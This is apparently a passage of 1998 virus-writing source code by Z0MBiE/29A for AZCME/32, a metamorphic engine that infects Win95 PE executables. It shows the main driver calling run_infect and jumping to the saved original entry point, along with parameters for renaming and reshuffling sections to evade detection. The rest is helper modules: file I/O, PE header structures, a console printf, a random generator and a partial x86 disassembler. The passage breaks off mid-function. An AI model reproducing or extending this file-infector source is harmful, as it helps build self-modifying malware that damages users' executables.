ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ

// ==========================================================================
//  Advanced ZCME/32Bit [Win95]  [COMPONENT]  Copyright (c) 1998 Z0MBiE/29A
//  For great help in creation of this project thanx to Lord Asd
//  Permutating(Metamorphic) Engine Research		       <z0mbie@i.am>
//  NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A      <i.am/z0mbie>
// ==========================================================================

// last updated: 24-07-98 02:11:07

unsigned long save_entrypoint = 0xFFFFFFFF;   // saved program`s entrypoint

#include "system.c"     // system routines
#include "params.h"     // global parameters/constants
#include "mz.h"         // mz header structure
#include "pe.h"         // pe header/object table structure
#include "string.c"     // asciiz strings manipulations
#include "fileio.c"     // file io
#include "crt.c"        // screen io routines, such as printf
#include "arg.c"        // command line management
#include "random.c"     // random number generator, using io-port
#include "disasm.c"     // command disassembler
#include "engine.c"     // permutating engine
#include "infect.c"     // file infection routines

void main(void)
  {
    dword t;

    con_init(); 	// initialize console
    arg_init(); 	// parse command line

    if (cmp(&argv[1], "RUN_FILE",9))     // if 1st parameter is "RUN_FILE"
      {
	asm				 // then execute old program,
	    mov     eax, save_entrypoint // but check for 1st execution
	    inc     eax 		 // when entrypoint not initialized
	    jz	    __1
	    dec     eax
	    jmp     eax
    __1:
	end;
	printf("This is FIRST execution, RUN_FILE not availablle");
	exit(1);
      }

    if (argc != 3)     // otherwise, check for valid number of parameters
      {
	printf("Syntax:  %a  <source_file>  <dest_file>\n", argv[0]);
	printf("     or\n");
	printf("         %a  RUN_FILE\n", argv[0]);

	exit(1);
      }

    t = time();        // calculate time used by infection & engine

    run_infect(argv[1], argv[0], argv[2]);  // process infection

    t = time() - t;

    printf("%d milliseconds\n", t );

    con_done();       // close console
    exit(0);	      // exit
  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ

// SYSTEM.C - system module
// Copyright (C) 1998 Z0MBiE/29A

#define MIN(a, b)	(((a) < (b)) ? (a) : (b))
#define MAX(a, b)	(((a) > (b)) ? (a) : (b))

#define asm	asm {		    //	i just like it
#define end	};		    //

typedef unsigned char		byte;	  // define some types
typedef unsigned short		word;
typedef unsigned long		dword;

#define pchar			const char *  // and some pointers
#define voidptr 		const void *

  // to fill variable with zeroes: zero(varname);
#define zero(x) 		fillchar((pchar) &x, sizeof(x), 0x00)

void exit(byte exitcode);	// exit to windows
void fillchar(voidptr buf, dword bufsize, byte filler);  // stos
void move(voidptr srcbuf, voidptr  destbuf, dword size); // movs
dword cmp(voidptr srcbuf, voidptr  destbuf, dword size); // cmps
dword time(void);   // get system time in milliseconds


void exit(byte exitcode)
  {
    asm
	extrn	ExitProcess:PROC

	movzx	eax, exitcode
	push	eax
	call	ExitProcess
    end;
  }

void fillchar(voidptr buf, dword bufsize, byte filler)
  {
    asm
	mov	edi, buf
	mov	ecx, bufsize
	mov	al, filler
	cld
	rep	stosb
    end;
  }

void move(voidptr srcbuf, voidptr  destbuf, dword size)
  {
    asm
	mov	esi, srcbuf
	mov	edi, destbuf
	mov	ecx, size
	cld
	rep	movsb
    end;
  }

dword cmp(voidptr srcbuf, voidptr  destbuf, dword size)
  {
    asm
	mov	esi, srcbuf
	mov	edi, destbuf
	mov	ecx, size
	xor	eax, eax
	cld
	rep	cmpsb
	jne	__1
	inc	eax
__1:
    end;
    return(_EAX);
  }

dword time(void)	// in milliseconds
  {
    word time[8];
    asm
	extrn	GetSystemTime:PROC

	lea	eax, time
	push	eax
	call	GetSystemTime
	movzx	eax, time[7*2]	  // milliseconds
	movzx	ebx, time[6*2]	  // seconds
	imul	ebx, 1000
	add	eax, ebx
	movzx	ebx, time[5*2]	  // minute
	imul	ebx, 1000*60
	add	eax, ebx
    end;
    return(_EAX);
 }






ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ

// PARAMS.H - AZCME global parameters/constants
// Copyright (C) 1998 Z0MBiE/29A

#define max_code_size		0x10000    // max code sction size
#define max_cmd 		4096	   // max instructions in code sect.

/* disassembler parameters */

//#define FULL_DUMP		  // full instruction dump
//#define SHORT_DUMP		  // short dump

/* file infection parameters */

#define RENAME_SECTIONS 	// rename sections at random
#define RESORT_OBJTABLE 	// restort objentries
#define RESORT_MY_SECTIONS	// add own sections with random order

#define REDEFINE_SUBSYSTEM	// set subsystem to windows char

/* engine parameters */

//#define DEBUG_FILES		  // create debug files


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ

// MZ.H - MZ header
// Copyright (C) 1998 Z0MBiE/29A

typedef struct mzheader
  {
    word	id;		    // MZ
    word	last512;
    word	num512;
    word	relnum;
    word	headersize;
    word	minmem;
    word	maxmem;
    word	ss;
    word	sp;
    word	checksum;
    word	ip;
    word	cs;
    word	relofs;
    word	ovrnum;
    byte	unused[32];
    dword	neptr;
  } mzheader;

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ

// PE.H - PE header & objecttable
// Copyright (C) 1998 Z0MBiE/29A

typedef struct peheader
  {
    dword		id;		    // 00 01 02 03
    word		cputype;	    // 04 05
    word		numofobjects;	    // 06 07
    dword		timedatestamp;	    // 08 09 0A 0B
    dword		coffptr;	    // 0C 0D 0E 0F
    dword		coffsize;	    // 10 11 12 13
    word		ntheadersize;	    // 14 15
    word		flags;		    // 16 17
    // nt header below
    word		magic;		    // 18 19
    byte		linkmajor;	    // 1A
    byte		linkminor;	    // 1B
    dword		sizeofcode;	    // 1C 1D 1E 1F
    dword		sizeofidata;	    // 20 21 22 23
    dword		sizeofudata;	    // 24 25 26 27
    dword		entrypointrva;	    // 28 29 2A 2B
    dword		baseofcode;	    // 2C 2D 2E 2F
    dword		baseofdata;	    // 30 31 32 33
    dword		imagebase;	    // 34 35 36 37
    dword		objectalign;	    // 38 39 3A 3B
    dword		filealign;	    // 3C 3D 3E 3F
    word		osmajor;	    // 40 41
    word		osminor;	    // 42 43
    word		usermajor;	    // 44 45
    word		userminor;	    // 46 47
    word		subsysmajor;	    // 48 49
    word		subsysminor;	    // 4A 4B
    dword		reserved;	    // 4C 4D 4E 4F
    dword		imagesize;	    // 50 51 52 53
    dword		headersize;	    // 54 55 56 56
    dword		checksum;	    // 58 59 5A 5B
    word		subsystem;	    // 5C 5D
    word		dllflags;	    // 5E 5F
    dword		stackreserve;	    // 60 61 62 63
    dword		stackcommit;	    // 64 65 66 67
    dword		heapreserve;	    // 67 60 6A 6B
    dword		heapcommit;	    // 6C 6D 6E 6F
    dword		loaderflags;	    // 70 71 72 73
    dword		numofrvaandsizes;   // 74 75 76 77
    // rva and sizes
    dword		exportrva;	    // 78 79 7A 7B
    dword		exportsize;	    // 7C 7D 7E 7F
    dword		importrva;	    // 80 81 82 83
    dword		importsize;	    // 84 85 86 87
    dword		resourcerva;	    // 88 89 8A 8B
    dword		resourcesize;	    // 8C 8D 8E 8F
    dword		exceptionrva;	    // 90 91 92 93
    dword		exceptionsize;	    // 94 95 96 97
    dword		securityrva;	    // 98 99 9A 9B
    dword		securitysize;	    // 9C 9D 9E 9F
    dword		fixuprva;	    // A0 A1 A2 A3
    dword		fixupsize;	    // A4 A5 A6 A7
    dword		debugrva;	    // A8 A9 AA AB
    dword		debugsize;	    // AC AD AE AF
    dword		descriptionrva;     // B0 B1 B2 B3
    dword		descriptionsize;    // B4 B5 B6 B7
    dword		machinerva;	    // B8 B9 BA BB
    dword		machinesize;	    // BC BD BE BF
    dword		tlsrva; 	    // C0 C1 C2 C3
    dword		tlssize;	    // C4 C5 C6 C7
    dword		loadconfigrva;	    // C8 C9 CA CB
    dword		loadconfigsize;     // CC CD CE CF
    byte		reserved_1[8];	    // D0 D1 D2 D3 D4 D5 D6 D7
    dword		iatrva; 	    // D8 D9 DA DB
    dword		iatsize;	    // DC DD DE DF
    byte		reserved_2[8];	    // E0 E1 E2 E3 E4 E5 E6 E7
    byte		reserved_3[8];	    // E8 E9 EA EB EC ED EE EF
    byte		reserved_4[8];	    // F0 F1 F2 F3 F4 F5 F6 F7
    // --------- total size = 0xF8 ---------
  } peheader;

typedef struct objentry
  {
    char		name[8];	    // 00 01 02 03 04 05 06 07
    dword		virtualsize;	    // 08 09 0A 0B
    dword		sectionrva;	    // 0C 0D 0E 0F
    dword		physicalsize;	    // 10 11 12 13
    dword		physicaloffset;     // 14 15 16 17
    byte		reserved[0x0C];     // 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23
    dword		objectflags;	    // 24 25 26 27
    // --------- total size = 0x28 ---------
  } objentry;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ

// STRING.C - asciiz string management
// Copyright (C) 1998 Z0MBiE/29A

dword strlen(pchar s);		      // calc string length
void straddchar(pchar dest, char c);  // add character to string

dword strlen(pchar s)
  {
    asm
	mov	edi, s
	mov	ecx, 0xFFFFFFFF
	xor	eax, eax
	cld
	repnz	scasb
	neg	ecx
	dec	ecx
	dec	ecx
	xchg	ecx, eax
    end;
    return(_EAX);
  }

void straddchar(pchar dest, char c)
  {
    asm
	mov	edi, dest
	mov	ecx, 0xFFFFFFFF
	xor	eax, eax
	cld
	repnz	scasb
	dec	edi
	mov	al, c
	stosw
    end;
  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ

// FILEIO.C - file io subroutines, uses windows api
// Copyright (C) 1998 Z0MBiE/29A

#define handle		dword		   // file handle

#define FILE_ATTRIBUTE_NORMAL	0x00000080 // some constants for api
#define OPEN_EXISTING		3
#define CREATE_ALWAYS		2
#define GENERIC_READ		0x80000000
#define GENERIC_WRITE		0x40000000
#define FILE_SHARE_READ 	0x00000001
#define FILE_SHARE_WRITE	0x00000002
#define FILE_BEGIN		0
#define FILE_CURRENT		1

handle openfile(pchar fname);		// open file
handle openfile_ro(pchar fname);	// open file - readonly mode
handle createfile(pchar fname); 	// create new file
void closefile(handle h);		// close file
dword readfile(handle h, voidptr buf, dword bufsize);	// read file
dword writefile(handle h, voidptr buf, dword bufsize);	// write file
dword filesize(handle h);	       // get file size
void seek(handle h, dword newpos);     // set file pos
dword filepos(handle h);	       // get file pos

handle openfile(pchar fname)
  {
    asm
	extrn	CreateFileA:PROC

	push	0
	push	FILE_ATTRIBUTE_NORMAL
	push	OPEN_EXISTING
	push	0
	push	FILE_SHARE_READ + FILE_SHARE_WRITE
	push	GENERIC_READ + GENERIC_WRITE
	push	fname
	call	CreateFileA
    end;
    return(_EAX);
  }

handle openfile_ro(pchar fname)
  {
    asm
	extrn	CreateFileA:PROC

	push	0
	push	FILE_ATTRIBUTE_NORMAL
	push	OPEN_EXISTING
	push	0
	push	FILE_SHARE_READ
	push	GENERIC_READ
	push	fname
	call	CreateFileA
    end;
    return(_EAX);
  }

handle createfile(pchar fname)
  {
    asm
	extrn	CreateFileA:PROC

	push	0
	push	FILE_ATTRIBUTE_NORMAL
	push	CREATE_ALWAYS
	push	0
	push	FILE_SHARE_READ + FILE_SHARE_WRITE
	push	GENERIC_READ + GENERIC_WRITE
	push	fname
	call	CreateFileA
    end;
    return(_EAX);
  }

void closefile(handle h)
  {
    asm
	extrn	CloseHandle:PROC

	push	h
	call	CloseHandle
    end;
  }

dword readfile(handle h, voidptr buf, dword bufsize)
  {
    dword bytesread;
    asm
	extrn	ReadFile:PROC

	push	0
	lea	eax, bytesread
	push	eax
	push	bufsize
	push	buf
	push	h
	call	ReadFile
	mov	eax, bytesread
    end;
    return(_EAX);
  }

dword writefile(handle h, voidptr buf, dword bufsize)
  {
    dword byteswritten;
    asm
	extrn	WriteFile:PROC

	push	0
	lea	eax, byteswritten
	push	eax
	push	bufsize
	push	buf
	push	h
	call	WriteFile
	mov	eax, byteswritten
    end;
    return(_EAX);
  }

dword filesize(handle h)
  {
    asm
	extrn	GetFileSize:PROC

	push	0
	push	h
	call	GetFileSize
    end;
    return(_EAX);
  }

void seek(handle h, dword newpos)
  {
    asm
	extrn	SetFilePointer:PROC

	push	FILE_BEGIN
	push	0
	push	newpos
	push	h
	call	SetFilePointer
    end;
  }

dword filepos(handle h)
  {
    asm
	extrn	SetFilePointer:PROC

	push	FILE_CURRENT
	push	0
	push	0
	push	h
	call	SetFilePointer
    end;

    return(_EAX);
  }







ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ

// CRT.C - module to work with console
// Copyright (C) 1998 Z0MBiE/29A

#define STD_INPUT_HANDLE	-10  // constants for windows api
#define STD_OUTPUT_HANDLE	-11
#define STD_ERROR_HANDLE	-12

handle con_handle;	// handle of console

char hexchar[16] = "0123456789ABCDEF";  // hex. characters

void con_init(void);	// initialize console
void con_done(void);	// close console

void pascal printf_char(char c);	// equal to %c in printf
void pascal printf_hexchar(byte b);	//
void pascal printf_hexbyte(byte b);	// %B
void pascal printf_hexword(word w);	// %W
void pascal printf_hexdword(dword d);	// %D
void pascal printf_dword(dword d);	// %d
void pascal printf_byte(byte b);	// %b
void pascal printf_word(word w);	// %w
void pascal printf_long(long l);	// %l
void pascal printf_short(short s);	// %s
void pascal printf_int(int i);		// %i
void pascal printf_crlf(void);		// \n
void pascal printf_asciiz(pchar s);	// %a

void cdecl printf(pchar format, ...);

void con_init(void)
  {
    asm
	extrn	GetStdHandle:PROC

	push	STD_OUTPUT_HANDLE
	call	GetStdHandle

	mov	con_handle, eax
    end;
  }

void con_done(void)
  {
    closefile(con_handle);
  }

void pascal printf_char(char c)
  {
    writefile(con_handle, &c, 1);
  }

void pascal printf_hexchar(byte b)
  {
    printf_char(hexchar[b & 15]);
  }

void pascal printf_hexbyte(byte b)
  {
    printf_hexchar(b >> 4);
    printf_hexchar(b & 15);
  }

void pascal printf_hexword(word w)
  {
    printf_hexbyte(w >> 8);
    printf_hexbyte(w & 255);
  }

void pascal printf_hexdword(dword d)
  {
    printf_hexword(d >> 16);
    printf_hexword(d & 65535);
  }

void pascal printf_dword(dword d)
  {
    if (d >= 10)
      printf_dword(d / 10);
    printf_char('0'+ d % 10);
  }

void pascal printf_byte(byte b)
  {
    printf_dword(b);
  }

void pascal printf_word(word w)
  {
    printf_dword(w);
  }

void pascal printf_long(long l)
  {
    if (l < 0)
       {
	 printf_char('-');
	 l = -l;
       }
    printf_dword(l);
  }

void pascal printf_short(short s)
  {
    printf_long(s);
  }

void pascal printf_int(int i)
  {
    printf_long(i);
  }

void pascal printf_crlf(void)
  {
    printf_char(13);
    printf_char(10);
  }

void pascal printf_asciiz(pchar s)
  {
    while ((char)*s != 0x00)
      {
	printf_char((char) *s);
	s++;
      }
  }

void cdecl printf(pchar format, ...)
  {
    dword stack_ptr = 12;

    asm
	mov	esi, format
	cld
__nextchar:
	lodsb
	or	al, al
	jz	__exit
	cmp	al, '%'
	je	__percent
	cmp	al, 0x0A
	je	__crlf

__putchar:
	push	eax
	call	printf_char

	jmp	__nextchar

__crlf: call	printf_crlf

	jmp	__nextchar

em_pop_eax:
	mov	ecx, stack_ptr
	add	stack_ptr, 4
	mov	eax, [ebp+ecx]
	ret

__percent:
	lodsb
	or	al, al
	jz	__exit

	cmp	al, 's'
	je	__s
	cmp	al, 'i'
	je	__i
	cmp	al, 'l'
	je	__l
	cmp	al, 'c'
	je	__c
	cmp	al, 'b'
	je	__b
	cmp	al, 'w'
	je	__w
	cmp	al, 'd'
	je	__d
	cmp	al, 'B'
	je	__bh
	cmp	al, 'W'
	je	__wh
	cmp	al, 'D'
	je	__dh
	cmp	al, 'a'
	je	__a

	jmp	__putchar

__s:	call	em_pop_eax
	push	eax
	call	printf_short
	jmp	__nextchar

__i:	call	em_pop_eax
	push	eax
	call	printf_int
	jmp	__nextchar

__l:	call	em_pop_eax
	push	eax
	call	printf_long
	jmp	__nextchar

__c:	call	em_pop_eax
	push	eax
	call	printf_char
	jmp	__nextchar

__b:	call	em_pop_eax
	push	eax
	call	printf_byte
	jmp	__nextchar

__w:	call	em_pop_eax
	push	eax
	call	printf_word
	jmp	__nextchar

__d:	call	em_pop_eax
	push	eax
	call	printf_dword
	jmp	__nextchar

__bh:	call	em_pop_eax
	push	eax
	call	printf_hexbyte
	jmp	__nextchar

__wh:	call	em_pop_eax
	push	eax
	call	printf_hexword
	jmp	__nextchar

__dh:	call	em_pop_eax
	push	eax
	call	printf_hexdword
	jmp	__nextchar
__a:	call	em_pop_eax
	push	eax
	call	printf_asciiz
	jmp	__nextchar

__exit:
    end;
  }
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ

// ARG.C - module to parse command line
// Copyright (C) 1998 Z0MBiE/29A

#define max_argc	10	// max. number of arguments
#define max_argv	256	// max argument size

dword argc;			// argc, or paramcount in pascal
char  argv[max_argc][max_argv]; // argv, or paramstr(i) in pascal

pchar cmdlineptr(void); 	// windows api - get pointer to command line
void arg_init(void);		// subroutine to parse cmd. line

pchar cmdlineptr(void)
  {
    asm
	extrn	GetCommandLineA:PROC
	call	GetCommandLineA
    end;
    return((pchar) _EAX);	// to avoid fucking compiler`s warning
  }

void arg_init(void)		// parse cmd. line
  {
    pchar p = cmdlineptr();	// p = pointer to cmd. line

    argc = 0;			// zero resulting vars
    zero(argv); 		//

    while ((char) *p != 0)	// search till zero byte will be found
      {
	if ( ((char) *p == ' ') || ((char) *p == 0x09) ) // space or tab?
	  {
	  if (strlen(argv[argc]) != 0)	 // if argv[argc] <> 0
	    argc++;			 // then increase argc
	  }
	else
	  straddchar(argv[argc], (char) *p);  // else add current character
	p++;
      }
    if (argv[argc][0] != 0x00) argc++; // check for last argv
  }

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ

// RANDOM.C - random number generator, 16-bit
// Copyright (C) 1998 Z0MBiE/29A

word rndword;		// current random word

word random(void);		     // get random word
word rnd(word range);		     // get random word in range [0..range-1]
word rnd_minmax(word min, word max); // get random word in range [min..max]

word random(void)
  {
    asm
	mov	bx, rndword
	in	al, 40h 	// system counters
	xor	bl, al
	in	al, 40h
	add	bh, al
	in	al, 41h
	sub	bl, al
	in	al, 41h
	xor	bh, al
	in	al, 42h
	add	bl, al
	in	al, 42h
	sub	bh, al
	mov	ax, bx
	rol	ax, 1
	xor	dx, dx
	mov	cx, 10007
	mul	cx
	inc	ax
	rol	ax, 1
	mov	rndword, ax
    end;
    return(_AX);
  }

word rnd(word range)
  {
    if (range == 0)
      return(0);
    else
      return(random() % range);
  }

word rnd_minmax(word min, word max)
  {
    return(rnd(max-min+1) + min);
  }
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[disasm.c]ÄÄ

// DISASM.C - disassembler module for AZCME/32
// Copyright (C) 1998 Z0MBiE/29A

#define cf_66		0x00000001
#define cf_67		0x00000002
#define cf_lock 	0x00000004
#define cf_rep		0x00000008
#define cf_seg		0x00000010
#define cf_0F		0x00000020
#define cf_w		0x00000040
#define cf_modrm	0x00000080
#define cf_sib		0x00000100
#define cf_mem		0x00000200
#define cf_data 	0x00000400
#define cf_datarel	0x00000800
#define cf_ttt		0x00001000

#define ct_unknown	0	// by default
#define ct_ret		1
#define ct_call 	2
#define ct_jmp		3
#define ct_jcc		4
#define ct_jmpMODRM	5

#define rt_undefined	0	// by default

#define rt_opcode0	1
#define rt_modrm_reg	2
#define rt_modrm_rm	3
#define rt_sib0_32	6
#define rt_sib3_32	7
#define rt_a		8	// eax/ax/al
#define rt_ebp		9	// ebp


typedef union dwordunion
  {
    dword      d[1];
    word       w[2];
    byte       b[4];
  } dwordunion;

typedef struct tcmdrec
  {
    dword	size;		// total command size in bytes

    dword	flags;		// cf_xxxx
    dword	type;		// ct_xxxx

    byte	px_rep; 	// prefixes
    byte	px_seg;

    byte	opcode; 	// opcode

    byte	modrm;		// modrm
    byte	sib;		// sib

    dword	memsize;	// memory size in bytes
    dwordunion	mem;		// mem

    dword	datasize;	// data size in bytes
    dwordunion	data;		// data

    byte	mod;		// splitted modrm
    byte	reg;		//
    byte	rm;		//

    byte	scale;		// splitted sib
    byte	index;		//
    byte	base;		//

    dword	regcount;	// reg. count
    dword	regtype[3];	// rt_xxxx
    dword	regsize[3];	// 0,1,2,4

    dword	jmpdata;

  } tcmdrec;

#define pcmdrec 	tcmdrec *


void debug_dump(pchar cmd, dword size)
  {
    printf("%D ", (dword) cmd);
    for (; size>0; size--, cmd++)
      printf(" %B", (byte) *cmd);
    printf_crlf();
  }

pchar ip;
tcmdrec r;
byte b;
byte ttt;

#define flagset(flag)		((r.flags & (flag)) != 0)  // func
#define andflag(flag)		r.flags &= (~(flag))	   // proc
#define setflag(flag)		r.flags |= (flag)	   // proc

#define getbyte 	((byte) *ip++)
#define getbyteNI	((byte) *ip  )	    // NI=no increment

void modrm_real(void)
  {
    setflag(cf_modrm);

    b = getbyte;

    r.modrm = b;

    r.mod   = b >> 6;
    r.reg   = (b >> 3) & 7;
    r.rm    = b & 7;

    if (r.mod == 0x03)
      {

	if ((r.flags & cf_ttt) == 0)
	  {
	    r.regtype[r.regcount  ] = rt_modrm_reg;
	    r.regsize[r.regcount++] = 4;
	  }

	r.regtype[r.regcount  ] = rt_modrm_rm;
	r.regsize[r.regcount++] = 0x66;
	goto done;
      };

    if flagset(cf_67)
      goto modrm_32;
    else
      goto modrm_16;

modrm_16:
    asm int 3 end;

    goto done;

modrm_32:

    if ((r.flags & cf_ttt) == 0)
      {
	r.regtype[r.regcount  ] = rt_modrm_reg;
	r.regsize[r.regcount++] = 4;
      }

    if (r.mod == 0x01)
      {
	setflag(cf_mem);
	r.memsize = 1;
      }
    if (r.mod == 0x02)
      {
	setflag(cf_mem);
	r.memsize = 4;
      }

    if (r.rm == 0x04)
      {
	setflag(cf_sib);

	b = getbyte;
	r.sib = b;

	r.scale = b >> 6;
	r.index = (b >> 3) & 7;
	r.base	= b & 7;

	r.regtype[r.regcount  ] = rt_sib3_32;  // index
	r.regsize[r.regcount++] = 4;

	if (r.base == 5)
	  {

	    if (r.mod == 0)
	      {
		setflag(cf_mem);
		r.memsize = 4;
	      }
	    else
	      {
		r.regtype[r.regcount  ] = rt_ebp;
		r.regsize[r.regcount++] = 4;
	      }

	    goto done;
	  }

	r.regtype[r.regcount  ] = rt_sib0_32;  // base
	r.regsize[r.regcount++] = 4;

      }
    else
      {
	if ( (r.rm == 0x05) && (r.mod == 0) )
	  {
	    setflag(cf_mem);
	    r.memsize = 4;
	  }
	else
	  {
	    r.regtype[r.regcount  ] = rt_modrm_rm;
	    r.regsize[r.regcount++] = 4;
	  }
      }

    goto done;

done:

  }

void disasm(pchar cmd, pcmdrec rec)
  {
    word i;
    ip = cmd;

    zero(r);
    r.flags = (cf_66 | cf_67);	 // by default: 32-bit addressing

prefix:
    b = getbyte;
    ttt = (getbyteNI >> 3) & 7;

    if (b == 0x66)
      {
	andflag(cf_66);
	goto prefix;
      }

    if (b == 0x67)
      {
	andflag(cf_67);
	goto prefix;
      }

    if (b == 0xF0)
      {
	setflag(cf_lock);
	goto prefix;
      }

    if ((b == 0xF2) || (b == 0xF3))
      {
	setflag(cf_rep);
	r.px_rep = b;
	goto prefix;
      }

    if ((b == 0x26) || (b == 0x2E) || (b == 0x3E) || (b == 0x36) ||
	(b == 0x64) || (b == 0x65))
      {
	setflag(cf_seg);
	r.px_seg = b;
	goto prefix;
      }


    if (b == 0x0F)
      goto prefix_0F;

    r.opcode = b;

#define cmpEx(data,andmask,cmpmask)    ((data & andmask) == cmpmask)



    if (b == 0x90)
      goto done;
    if (b == 0xCC)
      goto done;

    if (b == 0xE9)
      {
	r.type = ct_jmp;
	goto data_66_rel;
      }

    if (b == 0xE8)
      {
	r.type = ct_call;
	goto data_66_rel;
      }




    if cmpEx(b,0xF8,0x50)
      {
	//r.type = ct_push;
	goto reg_opcode0;
      }
    if cmpEx(b,0xF8,0x58)
      {
	//r.type = ct_pop;
	goto reg_opcode0;
      }

    if cmpEx(b,0xFC,0x88)
      {
	//r.type = ct_mov;
	goto w_modrm;
      }

    if (b == 0xC2)
      {
	r.type = ct_ret;
	goto data_word;
      }
    if (b == 0xC3)
      {
	r.type = ct_ret;
	goto done;
      }

    if (b == 0xFC)
      {
	//r.type = ct_cld;
	goto done;
      }

    if (b == 0x99)	// cwd
      goto done;

    if cmpEx(b,0xFE,0xAA)
      {
	//r.type = ct_stos;
	goto done;
      }
    if cmpEx(b,0xFE,0xA4)
      {
	//r.type = ct_movs;
	goto done;
      }

    if cmpEx(b,0xFE,0xAE)
      {
